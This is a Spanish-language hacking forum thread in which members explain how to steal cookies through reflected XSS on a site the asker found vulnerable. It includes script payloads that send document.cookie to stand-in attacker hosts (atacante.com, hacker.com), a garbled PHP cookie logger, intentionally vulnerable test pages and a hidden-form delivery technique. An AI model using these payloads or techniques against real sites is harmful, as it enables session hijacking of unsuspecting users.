Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: XDA en Enero 30, 2017, 04:41:59 AM

Título: [SOLUCIONADO] ¿Es posible robar cookies con un XSS Reflejado?
Publicado por: XDA en Enero 30, 2017, 04:41:59 AM
Hola estoy aprendiendo javascript y un poco de XSS.

ire al punto encontre lo que entiendo es un XSS reflejado en un sitio, tengo entendido que es reflejado ya que esta en un input de busqueda.  Al parecer no se pueden ver los parametros en los links, aun es posible hacer un robo de cookies? o que se puede hacer en un caso asi?

Gracias
Título: Re:XSS??
Publicado por: ANTRAX en Enero 30, 2017, 08:06:11 AM
Hola,

Lamentablemente no te sirve para el robo de cookies.

Saludos,
ANTRAX
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: Nobody en Enero 30, 2017, 09:15:27 AM
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: ANTRAX en Enero 30, 2017, 09:21:32 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.

En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Saludos,
ANTRAX
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: Nobody en Enero 30, 2017, 09:33:45 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Tenés razón, pero en ese caso existiría el problema de que, por ejemplo en Google Chrome, saltaría el filtro anti XSS.

Saludos.
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: ANTRAX en Enero 30, 2017, 09:42:25 AM
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: Nobody en Enero 30, 2017, 10:21:38 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX

Me dejaste pensando sobre el filtro anti XSS de Chrome, voy a hacer una pruebas y comparto resultados. La verdad que nunca pensé que es lo que filtra realmente ese anti XSS.

Edit: Bueno, después de probar dos diferentes vectores, quedó en conclusión que el filtro Anti XSS de Chrome es bastante más complejo de lo que pensabamos, comparto resultados:

(http://i.imgur.com/Em0bhCB.png)
CitarVector: xss.php?color=red"></font><script>window.location='http://www.hacker.com/cookie.php?c='+document.cookie;</script><font>

Después de eso pensé que tal vez el filtro Anti XSS filtraba vectores "complejos" o que apuntasen hacia otro dominio, así que intenté con un vector un poco más simple (y con un xss.php más simple aún, para que no hubiese ningún tipo de problemas).

(http://i.imgur.com/fyjaTgP.png)
CitarVector: xss.php?str=<h1 onmouseover='document.body.innerHTML = "XSS";'>test</h1>

Otras pruebas que realicé (de las cuales no tengo capturas), en las que Chrome también filtra vectores como " ' onmouseover=...", pero no filtra vectores como "<h1>Underc0de</h1>". En conclusión, filtra todo contenido que pueda ser "malicioso", es decir, todo código JavaScript.

Adjunto los códigos PHP utilizados en el laboratorio, por si alguien quiere hacer sus propias pruebas.

cookie.php
Código (php) [Seleccionar]
<?php
error_reporting
(0);
define('ROOTPATH'dirname(__FILE__));
$cookie  $_GET['c'];
$log fopen(ROOTPATH "/logs.txt""a");
$format  "Cookie: %s\n\n";
$print sprintf($format);
fwrite($log$print);
fclose($log);
?>


xss.php (imagen uno).
Código (php) [Seleccionar]
<?php

$color 
$_GET['color'];
echo 
"<font color=\"$color\">Hello, world!</font>";

if(!isset(
$_COOKIE['randcookie']))
{
$random rand();
setcookie('randcookie'$random);
$_COOKIE['randcookie'] = $random;
echo "<br/><br/>Random cookie does not exist, creating a new one!";
}

?>


xss.php (imagen dos)
Código (php) [Seleccionar]
<?php

$str 
$_GET["str"];
print 
$str;

?>


Para finalizar quiero aclarar que fueron pruebas muy poco elaboradas y estaré intentando evadir el filtro Anti XSS de Chrome por otros métodos, en caso de lograrse, compartiré los resultados.

Saludos.
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: rollth en Enero 30, 2017, 12:25:21 PM
Aunque digan que no, si se puede, yo hice hace tiempo una prueba de concepto aquí en Underc0de, lo que tienes que hacer es con un hosting tuyo preparar un form idéntico al de la página web con una serie de inputs escondidos y sus valores respectivos y otro input escondido con el payload, luego haces que se envíe el form con una imagen y el atributo onload.

Te dejo aquí el link de como lo hice yo.

https://underc0de.org/foro/seguridad-en-servidores/avanzando-con-las-xss's/msg105998/#msg105998

Luego robarías cookies como en un XSS normal :D

Saludos.
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: XDA en Enero 30, 2017, 03:16:04 PM
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: rollth en Enero 30, 2017, 04:52:19 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!

Si se podría hacer un robo de cookies a través de un hosting propio y un form, mira el tutorial que te he pasado, solo tendrías que cambiar el alert del xss por tu cookie stealer :D

Saludos.
Título: Re:¿Es posible robar cookies con un XSS Reflejado?
Publicado por: blackdrake en Enero 30, 2017, 05:05:27 PM
Y ya que estamos, te recomiendo que te leas los talleres de seguridad web (o al menos el número 1 donde se habla de XSS), cualquier cosa me comentas que los hice yo :P

Taller de Seguridad Web #1 (https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1/)

Taller de Seguridad Web #2 (https://underc0de.org/foro/talleres-underc0de-213/taller-seguridad-web-2/)

Taller de Seguridad Web #3 (https://underc0de.org/foro/talleres-underc0de-213/taller-seguridad-web-3/)

Taller de Seguridad Web #4 (https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-4/)


Un saludo!